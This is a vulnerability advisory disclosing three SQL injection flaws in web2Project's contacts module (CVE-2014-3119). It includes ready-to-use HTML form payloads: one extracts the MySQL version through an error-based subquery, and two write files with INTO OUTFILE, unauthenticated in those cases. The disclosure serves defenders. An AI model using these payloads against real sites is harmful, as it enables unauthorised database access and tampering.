Multiple SQL Injection Vulnerabilities in web2Project

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web2Project, which can be exploited to perform SQL Injection attacks and gain complete access to vulnerable website.

1) SQL Injection in web2Project: CVE-2014-3119

1.1 The vulnerability exists due to insufficient sanitization of the "search_string" HTTP POST parameter passed to "/index.php" script. A remote authenticated user with privileges to access "contacts" module can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.
The following exploitation example displays version of the MySQL Server:
<form action="http://[host]/index.php?m=contacts" method="post" name="main">
<input type="hidden" name="search_string" value="'and(select 1 from(select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'">
<input type="submit" id="btn">
</form>
1.2 The vulnerability exists due to insufficient sanitization of the "updatekey" HTTP POST parameter passed to "/do_updatecontact.php". This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. A remote unauthenticated attacker can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.
The following exploitation example writes the word "immuniweb" into file "file.txt", depending on MySQL configuration and filesystem permissions:
<form action="http://[host]/do_updatecontact.php" method="post" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>
1.3 The vulnerability exists due to insufficient sanitization of the "updatekey" HTTP GET parameter passed to "/updatecontact.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. A remote unauthenticated attacker can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.
The following exploitation example writes the word "immuniweb" info file "file.txt", depending on MySQL configuration and filesystem permissions:
<form action="http://[host]/updatecontact.php" method="get" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>
Successful exploitation of the vulnerabilities can grant an attacker unrestricted access to the website and its database.